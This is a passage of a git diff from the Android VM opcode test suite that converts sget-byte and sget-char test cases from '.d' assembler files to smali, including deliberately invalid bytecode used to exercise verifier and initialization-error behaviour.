new file mode 100644
index 0000000..1c62f08
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_5.smali
@@ -0,0 +1,38 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_5.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_5;
+.super  Ljava/lang/Object;
+
+.field public i1:B
+
+.method public constructor <init>()V
+.registers 4
+
+       invoke-direct {v3}, Ljava/lang/Object;-><init>()V
+
+       const v2, 77
+       iput-byte v2, v3, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_5;->i1:B
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_5;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.d
deleted file mode 100644
index 48a4cb8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_6.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.TestStubs.TestStubField B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.smali
new file mode 100644
index 0000000..c7bb8cd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_6.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/TestStubs;->TestStubField:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.d
deleted file mode 100644
index e887bec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_7.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_7no_class.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.smali
new file mode 100644
index 0000000..fe1b19d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_7.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_7no_class;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.d
deleted file mode 100644
index 96ab1da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_byte_8.java
-.class public dot.junit.opcodes.sget_byte.d.T_sget_byte_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       sget-byte v1, dot.junit.opcodes.sget_byte.d.T_sget_byte_8.i1N B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.smali
new file mode 100644
index 0000000..511ddc2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_byte_8.java"
+.class  public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       sget-byte v1, Ldot/junit/opcodes/sget_byte/d/T_sget_byte_8;->i1N:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..a267190
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_byte/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:B
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x1
+
+    div-int/2addr v1, v0
+
+    const v1, 0x1
+
+    sput-byte v1, Ldot/junit/opcodes/sget_byte/d/StubInitError;->value:B
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/T_sget_byte_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/T_sget_byte_9.smali
new file mode 100644
index 0000000..6f45abf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_byte/d/T_sget_byte_9.smalis/T_sget_byte_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_byte/d/T_sget_byte_9;
+.super Ljava/lang/Object;
+.source "T_sget_byte_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()B
+    .registers 3
+
+    sget-byte v1, Ldot/junit/opcodes/sget_byte/d/StubInitError;->value:B
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.d
deleted file mode 100644
index 5fc252d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_1.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_1
-.super java/lang/Object
-
-.field public static i1 C
-.field protected static p1 C
-.field private static pvt1 C
-
-.method static <clinit>()V
-.limit regs 1
-       const v0, 77
-       sput-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_1.i1 C
-
-       const v0, 77
-       sput-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_1.p1 C
-
-       const v0, 77
-       sput-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_1.pvt1 C
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_1.i1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.smali
new file mode 100644
index 0000000..3f3ce99
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_1.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_1.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:C
+.field protected static p1:C
+.field private static pvt1:C
+
+.method static constructor <clinit>()V
+.registers 1
+       const v0, 77
+       sput-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->i1:C
+
+       const v0, 77
+       sput-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->p1:C
+
+       const v0, 77
+       sput-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->pvt1:C
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->i1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.d
deleted file mode 100644
index d4d3efb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_11.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_11
-.super dot/junit/opcodes/sget_char/d/T_sget_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_char/d/T_sget_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_1.p1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.smali
new file mode 100644
index 0000000..27e9213
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_11.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_11;
+.super  Ldot/junit/opcodes/sget_char/d/T_sget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->p1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.d
deleted file mode 100644
index 708f2db..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_12.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_12
-.super dot/junit/opcodes/sget_char/d/T_sget_char_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_char/d/T_sget_char_1/<init>()V
-       return-void
-.end method
-
-.method public run()C
-.limit regs 3
-
-       sget-char v1, dot.junit.opcodes.sget_char.d.T_sget_char_1.pvt1 C
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.smali
new file mode 100644
index 0000000..3e456a1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_12.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_12;
+.super  Ldot/junit/opcodes/sget_char/d/T_sget_char_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;-><init>()V
+       return-void
+.end method
+
+.method public run()C
+.registers 3
+
+       sget-char v1, Ldot/junit/opcodes/sget_char/d/T_sget_char_1;->pvt1:C
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.d
deleted file mode 100644
index eb652bc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_13.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_13.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.smali
new file mode 100644
index 0000000..26671ca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_13.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_13;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.smali
new file mode 100644
index 0000000..6d597c3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_char/d/T_sget_char_14;
+.super Ljava/lang/Object;
+.source "T_sget_char_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.d
deleted file mode 100644
index dedb8e2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_15.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_15
-.super java/lang/Object
-
-.field public static i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.smali
new file mode 100644
index 0000000..0b565f8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_15.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_15;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-char v0, Ldot/junit/opcodes/sget_char/d/T_sget_char_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.d
deleted file mode 100644
index 82a5544..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_char_16.java
-.class public dot.junit.opcodes.sget_char.d.T_sget_char_16
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-char v0, dot.junit.opcodes.sget_char.d.T_sget_char_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.smali
new file mode 100644
index 0000000..919555f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_char/d/T_sget_char_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_char_16.java"
+.class  public Ldot/junit/opcodes/sget_char/d/T_sget_char_16;
+.super  Ljava/lang/Object;
+
+.field public static i1:I
+
+.method public constructor <init>()V
+.registers 1
+
